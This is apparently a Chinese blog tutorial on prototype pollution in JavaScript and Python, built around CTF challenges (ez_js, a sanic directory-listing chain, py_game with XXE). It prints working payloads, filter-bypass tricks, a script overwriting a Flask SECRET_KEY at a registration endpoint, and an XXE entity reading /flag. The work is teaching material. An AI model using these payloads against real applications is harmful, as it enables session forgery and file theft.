原型链污染

Toretto·2024-12-03 19:40·119 次阅读

原型链污染

原型链污染

一、简述#

原型链污染漏洞和 SSTI(Server-Side Template Injection)漏洞都涉及到原型链,但是原型链污染漏洞产生的原因和利用方式和后者有很大区别。

原型链污染(Prototype Pollution)是指攻击者通过操控对象的原型链,修改或注入不应存在的属性。这样,所有继承自该原型的对象都会受到影响,可能导致程序行为异常、数据泄露或系统漏洞。

区别:

  • 原型链污染: 修改对象原型链的行为,影响应用程序的所有对象。
  • SSTI: 注入和执行模板表达式,影响模板渲染和服务器端代码执行。

二、JS原型链#

概念:#

大部分面向对象的编程语言,都是通过“类”(class)实现对象的继承。传统上,JavaScript 语言的继承不通过 class,而是通过“原型对象”(prototype)实现

js类#

js 中,定义一个类,需以定义“构造函数”的方式来定义:

Copy
function Foo() { this.bar = 1; } new Foo();

解析:

Foo函数的内容,就是Foo类的构造函数,this.bar就表示Foo类中的一个属性

(为简化编写js的代码,ECmAScript6 后增加了class语法,但class其实只是一个语法塘)

js类的方法#

一个类中必然有一些方法,类似属性this.bar,也可将方法定义在构造函数内部

Copy
function Foo() { this.bar = 1; this.show = function() { console.log(this.bar); } } (new Foo()).show() // 输出:1 ,相当于let foo=new Foo(); foo.show();

prototype属性#

JavaScript 规定,每个函数都有一个prototype属性,指向一个对象

Copy
function f() {} typeof f.prototype; // "object" //函数`f`默认具有`prototype`属性,指向一个对象,这个对象就是f的原型对象 //当然原型对象也是对象,也有prototype属性,也就是f.prototype.ptototype,就像一条链,可以一直溯源到Object的原型null f.prototype.a=1; //给f的原型添加了a变量 let i=new f(); //实例化f为对象i console.log(i.a); //对象i可以直接访问f原型里的所有属性

proto属性#

prototype:一个类的属性,所有类对象在实例化的时候会拥有prototype中的属性和方法;proto:一个对象的__proto__属性,指向这个对象所在的类的prototype属性

Copy
//类实例化的对象不能访问prototype,但可以通过.__proto__来访问类的prototype function Father() { this.first_name = 'Donald'; this.last_name = 'Trump'; } function Son() { this.first_name = 'Melania'; } Son.prototype = new Father(); let son = new Son(); console.log(`Name:${son.first_name} ${son.last_name}`) //对象son没有last_name属性,JavaScript引擎就会通过`__proto__`去其原型对象上寻找,如果原型对象也没有,再通过原型对象的`__proto__`继续向上查找,这个过程会持续进行,直到找到该属性或方法,或者查找到原型链的末端(`null`)。

属性的表示#

Copy
//对象和属性之间的表达方式很多,比如直接表达 var person = { name : "Micheal", age : 24, a:function(){return 666} }; console.log(person.name); //Micheal //js,对象其实就是键值对,所以我们可以用数组的表达方式 console.log(person['age'],person['a']());

JSON.parse#

Copy
let o1 = {}; let o2 = { a:1, "__proto__":{b:2} }; console.log(o2); //输出:“Object { a: 1 }” ,为什么不是 “Object { a: 1 , __proto__: {b: 2}}” 呢? //因为在进行键值赋值之前就会把proto解析掉,让其指向其构造函数的prototype指向的对象 //o2的原型对象就成了{"b":2},就不是最上层的Object let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}'); //使用JSON.parse方法,将json数据转换成js对象 //输出:Object { a: 1 , __proto__: {b: 2}} //JSON解析的情况下,__proto__会被认为是一个真正的“键名”,不代表原型

JS原型链污染漏洞#

如果攻击者控制并修改了一个对象的原型,那将可以影响所有和这个对象来自同一个类、父类的对象,这种攻击方式就是原型链污染
Copy
// foo是一个简单的JavaScript对象 let foo = {bar:1}; // foo.bar此时为1 console.log(foo.bar); // 修改foo的原型(即object) console.log(foo.bar); // 修改foo的原型(即object) foo.__proto__.bar = 2; // 查找顺序原因,foo.bar仍然是1 console.log(foo.bar); // 此时用objecr创建一个空的zoo对象 let zoo = {}; // 查看zoo.bar,结果为2 console.log(zoo.bar); 原因: 修改 foo 原型foo.__proto__.bar = 2,而 foo 是一个object类的实例,所以实际上是修改了object这个类,给这个类增加了一个属性bar,值为2 后来用object类创建了一个zoo对象,let zoo = {},zoo对象自然也有一个bar属性了

绕过#

逗号的绕过#

​ 在 web 开发中,req.query 通常是一个包含查询字符串参数的对象。在处理查询字符串时,可能会遇到同一参数名多次出现的情况,比如:

Copy
?param=value1&param=value2&param=value3

在这个查询字符串中,param 出现了多次。如果你使用 req.query 来访问这个参数,它会如何解析这个参数呢?

答案:req.query -----解析----> 数组 ----json.parse--> 对象 (同一参数名解析后会带上逗号)

​ 在大多数 web 框架中(如 Express.js),req.query 会将查询字符串中的每个参数解析成一个键值对。如果一个参数名出现多次,框架通常会将这些值解析成一个数组。

​ 例如,对于查询字符串 ?param=value1&param=value2&param=value3,解析后的 req.query 可能会是:

Copy
{ param: ['value1', 'value2', 'value3'] }

​ param参数传递给 JSON.parse(),它会将其解析为一个 JavaScript 对象,例如:

Copy
//传入: ?param={'a':1&param='b':2&param='c':3} // 此时 req.query.param为数组: // [ '{"a":1', '"b":2', '"c":3}' ] // 最后 JSON.parse解析成 {"a":1,"b":2,"c":3} const express = require('express'); const app = express(); const port = 3000; app.get('/', (req, res) => { // 获取查询GET参数 'param' const sycParam = req.query.param; if (sycParam) { try { // 解析 JSON 字符串 const parsedData = JSON.parse(sycParam); // 返回解析后的结果 res.json({ status: 'success', data: parsedData }); } catch (error) { // 如果解析失败,返回错误信息 res.json({ status: 'error', message: 'Invalid JSON format' }); } } else { res.json({ status: 'error', message: 'Missing syc query parameter' }); } }); app.listen(port, () => { console.log(`Server is running at http://localhost:${port}`); });

例题#

极客大挑战2024 ez_js

Copy
const { merge } = require('./utils/common.js'); function handleLogin(req, res) { var geeker = new function() { this.geekerData = new function() { this.username = req.body.username; this.password = req.body.password; }; }; merge(geeker, req.body); if(geeker.geekerData.username == 'Starven' && geeker.geekerData.password == '123456'){ if(geeker.hasFlag){ const filePath = path.join(__dirname, 'static', 'direct.html'); res.sendFile(filePath, (err) => { if (err) { console.error(err); res.status(err.status).end(); } }); }else{ const filePath = path.join(__dirname, 'static', 'error.html'); res.sendFile(filePath, (err) => { if (err) { console.error(err); res.status(err.status).end(); } }); } }else{ const filePath = path.join(__dirname, 'static', 'error2.html'); res.sendFile(filePath, (err) => { if (err) { console.error(err); res.status(err.status).end(); } }); } } function merge(object1, object2) { for (let key in object2) { if (key in object2 && key in object1) { merge(object1[key], object2[key]); } else { object1[key] = object2[key]; } } } module.exports = { merge };

payload

Copy
{"username":"Starven","password":"123456", "__proto__":{"hasFlag":true} }

三、Python原型链污染#

污染原理#

​ Python 中的原型链污染(Prototype Pollution)是指通过修改对象原型链中的属性,对程序的行为产生意外影响或利用漏洞进行攻击的一种技术。
​ 在 Python中,对象的属性和方法可以通过原型链继承来获取。每个对象都有一个原型,原型上定义了对象可以访问的属性和方法。当对象访问属性或方法时,会先在自身查找,如果找不到就会去原型链上的上级对象中查找,原型链污染攻击的思路是通过修改对象原型链中的属性,使得程序在访问属性或方法时得到不符合预期的结果。常见的原型链污染攻击包括修改内置对象的原型、修改全局对象的原型等

比如,通过修改__class__.__qualname污染类名:

Copy
class Employee(): pass a=Employee() a.__class__.__qualname__ = 'polluted' print(a.__class__) # Output:<class '__main__.polluted'>

但是,__qualname__属性仅仅只是记录类名的字符串,并不能修改对象所指向的类。

Copy
class Employee(): str = 'fail' class pulluted: str = 'success' a=Employee() a.__class__.__qualname__='polluted' print(a.__class__) # Output:<class '__main__.polluted'> print(a.str) # Output:fail

想要修改对象所指向的类,就要修改__class__属性

Copy
class Employee(): str = 'fail' class polluted: str = 'success' a=Employee() a.__class__= polluted print(a.__class__) # Output:<class '__main__.polluted'> print(a.str) # Output:success

污染条件#

merge函数污染#

​ 和Javascript原型链污染差不多,原型链污染需要merge合并函数,通过递归合并来修改父级属性,CTF中常见的merge函数如下

Copy
def merge(src, dst): #src为原字典,dst为目标字典 # Recursive merge function for k, v in src.items(): if hasattr(dst, '__getitem__'): # 如果实现了__getitem__魔术方法,则可以用键值对字典形式访问对象属性 if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) #递归到字典最后一层 else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: # 如果dst有键k,且值v还是字典,进入递归 merge(v, getattr(dst, k)) # 直到递归到最终的父类 else: setattr(dst, k, v) # 函数解释: 1.hasattr(object, attribute_name) # 检查一个对象是否具有指定的属性或方法 object: 你要检查的对象。 attribute_name: 一个字符串,表示你要检查的属性或方法的名称。 2.getattr(object, attribute_name[, default]) # 获取对象的指定属性的值 object: 你要查询的对象。 attribute_name: 一个字符串,表示你要获取的属性名称。 default: 可选参数。如果指定的属性不存在,将返回这个默认值。如果省略而属性不存在,会引发 AttributeError 异常。 3.setattr(object, attribute_name, value) # 设置对象的属性值 object: 你要修改的对象。 attribute_name: 一个字符串,表示你要设置的属性的名称。 value: 要设置的属性的值。 __getitem__ 方法: 这是一个特殊方法(魔术方法),用于定义如何通过索引访问对象的元素。例如,列表、字典和字符串都实现了 __getitem__ 方法,从而允许通过下标或键来访问其元素。

实例:

污染全局变量

Copy
class father: secret = "hello" class son_a(father): pass class son_b(father): pass class test: def __init__(self): pass def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) flag = False instance1 = son_b() instance2 = test() payload1 = { "__class__" : { "__base__" : { "secret" : "world" } } } payload2 = { "__class__" : { "__init__" : { "__globals__" : { "flag" : "True" } } } } print(son_a.secret) #hello print(instance1.secret) #hello print(flag) #False merge(payload1, instance1) merge(payload2, instance2) print(son_a.secret) #world print(instance1.secret) #world print(flag) #True

首先,字典src就是我们的payload,dst就是目标对象son_b和test。

我们通过污染可以修改全局变量flag的值,以及修改father类的secret属性。

  • 先看payload1,字典中只有一个键__class__,在merge函数中触发条件elif hasattr(dst, k) and type(v) == dict:(意思是instance1里有k,也就是__class__键,且键的值也是字典类型)。
  • 进入下一轮递归, merge(v, dst.get(k)),此时v是{"__base__" : {"secret" : "world"}}, dst.get(k)是instance1的__class__属性son_b。同样触发elif hasattr(dst, k) and type(v) == dict:
  • 最后一轮递归, merge(v, dst.get(k)),此时v是{"secret" : "world"}, dst.get(k)是son_b的__base__属性father类,最后触发条件else:setattr(dst, k, v),将键和值赋给father类,成功修改了secret的值。

Pydash函数污染#

​ Pydash其实和merge函数类似,将在下面TSCTF这题中给出示例。

Copy
from flask import Flask, request import os import pydash import urllib.request app = Flask(__name__) os.environ['cmd'] = "ping -c 10 www.baidu.com" black_list = ['localhost', '127.0.0.1'] class Userinfo: def __init__(self): pass class comexec: def test_ping(self): cmd = os.getenv('cmd') os.system(cmd) @app.route("/define", methods=['GET']) def define(): if request.remote_addr == '127.0.0.1': if request.method == 'GET': print(request.args) usname = request.args['username'] info = request.args['info'] origin_user = request.args['origin_user'] user = {usname: info} print(type(user)) # pydash pydash.set_with(Userinfo(), origin_user, user, lambda: {}) result = comexec().test_ping() return "USER READY,JUST INSERT YOUR SEARCH RESULT" else: return "NOPE" @app.route("/search", methods=['GET']) def search(): if request.method == 'GET': urls = request.args['url'] for i in black_list: if i in urls: return "HACKER URL!" try: info = urllib.request.urlopen(urls).read().decode('utf-8') return info except Exception as e: print(e) return "error" else: return "Method error" @app.route("/") def home(): return "<html> Welcome to this Challenge </html> <script>alert('focus on the source code')</script>" if __name__ == "__main__": app.run(debug=True, port=37333, host='0.0.0.0')

污染过程#

​ 感觉和之前学的flask的模板注入过程差不多,都是通过属性和方法的一层层调用,从而实现属性的修改

污染属性#

这里我们要污染father类里的secret属性

Copy
class father: secret = "hello" class son_a(father): pass class son_b(father): pass def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) instance = son_b() payload = { "__class__" : { "__base__" : { "secret" : "world" } } } print(son_a.secret) #hello print(instance.secret) #hello merge(payload, instance) print(son_a.secret) #world print(instance.secret) #world

污染全局变量#

python中的所有全局变量都记录在__globals__属性中,因此污染全局变量的关键就是找到__globals__属性

这里我们通过__globals__里找到了__file__属性,然后修改为“D:\html study\PyCharm Project\flask_pydash1\flag”文件

Copy
from flask import Flask from pydash import set_ import json app = Flask(__name__) class Pollute: def __init__(self): pass @app.route('/', methods=['GET', 'POST']) def hello_world(): return open(__file__).read() @app.route('/pollute', methods=['GET', 'POST']) def Pollution(): payload = { r"key": r"__init__.__globals__.__file__", r"value": r"D:\html study\PyCharm Project\flask_pydash1\flag" } key = payload['key'] value = payload['value'] pollute = Pollute() set_(pollute,key,value) return "Finished pollute " if __name__ == '__main__': app.run(host='0.0.0.0', port=5000,debug=True)

sanic原型链污染#

ciscn2024-web

app.py

Copy
from sanic import Sanic from sanic.response import text, html from sanic_session import Session import pydash # pydash==5.1.2 class Pollute: def __init__(self): pass app = Sanic(__name__) app.static("/static/", "./static/") Session(app) @app.route('/', methods=['GET', 'POST']) async def index(request): return html(open('static/index.html').read()) @app.route("/login") async def login(request): user = request.cookies.get("user") if user.lower() == 'adm;n': request.ctx.session['admin'] = True return text("login success") return text("login fail") @app.route("/src") async def src(request): return text(open(__file__).read()) @app.route("/admin", methods=['GET', 'POST']) async def admin(request): if request.ctx.session.get('admin') == True: key = request.json['key'] value = request.json['value'] if key and value and type(key) is str and '_.' not in key: pollute = Pollute() pydash.set_(pollute, key, value) return text("success") else: return text("forbidden") return text("forbidden") if __name__ == '__main__': app.run(host='0.0.0.0')

污染file变量:

Copy
key = request.json['key'] value = request.json['value'] if key and value and type(key) is str and '_.' not in key: pollute = Pollute()

我们只需要找到globals变量即可操纵所有的全局变量,当然包括file变量。

绕过 _.使用反斜杠转义绕过,_\\\\.

payload: key = __class__.__init__.__globals__.__file__ ; value = flag.txt

sanic官方文档有一个app.static:

image-20240720175812759

简化测试代码:

Copy
from sanic import Sanic from sanic.response import text import pydash class Pollute: def __init__(self): pass app = Sanic(__name__) app.static("/static/", "./static/") @app.route('/', methods=['GET', 'POST']) async def index(request): return text('hello') @app.route("/src") async def src(request): return text(open(__file__).read()) @app.route("/admin", methods=['GET', 'POST']) async def admin(request): key = request.json['key'] value = request.json['value'] if key and value and type(key) is str and '_.' not in key: pollute = Pollute() pydash.set_(pollute, key, value) return text("success") else: return text("forbidden") if __name__ == '__main__': app.run(host='127.0.0.1')

我们要找到修改directory_view的原型链,需要用到调试功能。

跟进app.static函数的位置:

image-20240721075523961

下方有属性功能的注释,翻译一下:

image-20240721080306776

我们知道,光能列出static目录下的文件列表肯定是不够的,因为flag可能藏在根目录里,也就是要修改file_or_directory的值。

sanic框架可以通过app.router.name_index['xxxxx']来获取注册的路由,也就是说我们跟踪name_index,一定会遇到通向directory_view的路由。

image-20240721085305169

跟进后找到name_index被赋值的位置,设下断点:

image-20240721085336786

回到主文件,开启调试:

image-20240721085608675

我们在调试框里搜索"directory":

image-20240721085752210

发现在一个叫handler的值下,展开找到具体的位置:

image-20240721090220781

那么整个链条就可以理清楚了:

Copy
print(Pollute.__init__.__globals__['app'].router.name_index['__mp_main__.static'].handler.keywords['directory_handler'].directory_view) # False

payload:

Copy
{"key":"__class__.__init__.__globals__.app.router.name_index.__mp_main__.static.handler.keywords.directory_handler.directory_view","value":true} //加入反斜杠绕过,注意这里不能用[]来包裹其中的索引,污染和直接调用不同,我们需要用.来连接,而__mp_main.static是一个整体,不能分开,我们可以用两个反斜杠来转义就够了 {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": true}

四、实战场景#

注册系统污染#

​ 大多数实战情况下,我们是看不到源码的,这时需要猜测需要污染的对象。

比如:在一个登录场景下,目标使用了session,而我们需要伪造session成为管理员,这时我们需要污染的对象就是key。

不妨在注册时,写一个poc试试:

Copy
import requests import json url = "https://url/register" payload = { "username": "test", "password": "test", "__init__": {"__globals__": {"app": {"config": {"SECRET_KEY": "baozongwi"}}}}, } r = requests.post(url=url, json=payload) print(r.text)

原型链配合xxe攻击#

极客大挑战2024:py_game

部分源码:

Copy
import json from flask import Flask, request, Response, jsonify from lxml import etree app = Flask(__name__) app.config['xml_data'] = '<?xml version="1.0" encoding="UTF-8"?><GeekChallenge2024><EventName>Geek Challenge</EventName><Year>2024</Year><Description>This is a challenge event for geeks in the year 2024.</Description></GeekChallenge2024>' class User: def __init__(self, username, password): self.username = username self.password = password admin = User('admin', '123456j1rrynonono') def update(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and isinstance(v, dict): update(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and isinstance(v, dict): update(v, getattr(dst, k)) else: setattr(dst, k, v) @app.route("/xml_parse") def xml_parse(): try: xml_bytes = app.config["xml_data"].encode("utf-8") parser = etree.XMLParser(load_dtd=True, resolve_entities=True) tree = etree.fromstring(xml_bytes, parser=parser) result_xml = etree.tostring(tree, pretty_print=True, encoding="utf-8", xml_declaration=True) return Response(result_xml, mimetype="application/xml") except etree.XMLSyntaxError as e: return str(e) xml_parse = app.route('/xml_parse')(xml_parse) black_list = [ '__class__'.encode(), '__init__'.encode(), '__globals__'.encode()] def check(data): print('check:', data) for i in black_list: print(i) if i in data: print(i) return False return True @app.route("/update", methods=["POST"]) def update_route(): if request.data: try: if not check(request.data): return 'NONONO, Bad Hacker', 403 else: data = json.loads(request.data.decode()) print("json:", data) if all("static" not in str(value) and "dtd" not in str(value) and "file" not in str(value) and "environ" not in str(value) for value in data.values()): update(data, User) print(app.config['xml_data']) return ( jsonify({"message": "更新成功"}), 200) return 'Invalid character', 400 except Exception as e: return ( f"Exception: {str(e)}", 500) else: return 'No data provided', 400 if __name__ == '__main__': app.run('0.0.0.0', 8080, False)

思路:

​ 通过原型链污染app.config['xml_data'] ,进行xee攻击。

黑名单绕过:

​ 黑名单过滤了__init__,可以用Unicode编码绕过(json后会自动解码Unicode转义字符)。

​ if条件里禁用了dtd、file等关键字,所以我们直接用SYSTEM '/flag'读文件即可。

payload:

Copy
{"_\u005finit__":{ "_\u005fglobals__":{ "app":{ "config":{ "xml_data":"<!DOCTYPE a [<!ENTITY d SYSTEM '/flag'>]><root><name>&d;</name></root>" } } } }}

此时再去/xml_parse下查看flag即可

学习文章#

csdn

http://www.hzhcontrols.com/new-1840101.html

posted @   波波sama  阅读(119)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
点击右上角即可分享
微信分享提示
目录